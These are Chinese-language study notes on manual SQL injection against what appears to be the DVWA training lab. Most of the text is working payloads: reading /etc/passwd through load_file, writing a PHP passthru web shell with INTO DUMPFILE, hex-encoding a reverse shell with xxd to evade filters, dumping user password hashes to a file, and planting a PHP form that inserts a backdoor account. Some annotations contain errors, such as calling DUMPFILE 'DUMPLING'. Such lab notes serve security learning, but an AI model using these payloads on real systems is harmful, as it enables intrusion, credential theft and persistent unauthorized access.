SQL手工注入
1、讀取文件【load_file函數】
' union SELECT null,load_file('/etc/passwd')--+
burpsuite
2、寫入文件
' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --+ 【寫入一句話木馬;INTO DUMPLING:MySQL函數,將輸入下載在數據庫中】
###此語句往往會提示無法寫入,因為缺少權限【以運行MySQL的賬號為己身獲取的權限】
' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE 'a.php' --+ 【將其寫入默認路徑(使用單引號): /var/lib/mysql/dvwa/a.php (dvwa的賬號)】
#當無權限進行指定目錄寫入文件時,可使用文件包含漏洞
首先,往通用目錄/tmp/中寫入,然后結合文件包含漏洞
' union select null, "<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/tmp/a.php" --+
#也可上傳反彈shell
注:當通過URL注入網頁木馬時,“<”、“?”、“php”、“>”等字符可能會觸發過濾機制,所以,應使用編碼繞過
###將網頁木馬編譯成二進制文件,數據庫會使用INTO DUMPLING將其轉換成PHP代碼儲存
復制反彈shell
修改反彈shellIP
編碼
cat b.php | xxd -ps 【xxd:linux集成,16進制編輯查看器;-ps:顯示編碼后內容】
#16進制存在換行符,需整理一下,再加一層管道
cat b.php | xxd -ps | tr -d '\n' 【tr -d :刪除】
再將編碼后的密文替換明文
(0x密文)
3、保存下載數【拖庫】
' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/tmp/a.db'--+
#若沒有文件包含之類的漏洞可以下載拖庫文件,則通過限定查詢數目,一步一步復制黏貼進行數據竊取
當上傳webshell無法實現目的操作,可編寫服務器端代碼,為己所用
#對目標有足夠了解,數據庫結構,表結構,程序設計邏輯方法
創建表單,向用戶賬號數據庫插入一個賬號【因為難以破解數據庫的加密內容】,相當於開發一個功能
' union select null,'<?php if(isset($_POST["submit"])) { $userID = $_POST["userID"]; $first_name
= $_POST["first_name"]; $last_name = $_POST["last_name"]; $username =
$_POST["username"]; $avatar = $_POST["avatar"]; echo "userID: $userID<BR>"; echo
"first_name: $first_name<BR>"; echo "last_name: $last_name<BR>"; echo "username:
$username<BR>"; echo "avatar: $avatar<BR>";
$con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_errno()) { echo
"Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to
database<BR>"; } $password = "123"; $sql="insert into dvwa.users values (\\"$userID\\",\
\"$first_name\\",\\"$last_name\\",\\"$username\\",MD5(\\"$password\\"),\\"$avatar\
\")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error
creating database: " . mysqli_error($con); } mysqli_close($con); } ?> <form method="post"
action="<?php echo $_SERVER["PHP_SELF"]; ?>"> <input type="text" name="userID"
value="33"><br> <input type="text" name="first_name" value="fh"><br> <input type="text"
name="last_name" value="y"><br> <input type="text" name="username" value="yfh"><br>
<input type="text" name="avatar" value="yfh!"><br> <input type="submit" name="submit"
value="Submit Form"><br> </form>' INTO DUMPFILE '/tmp/user.php' --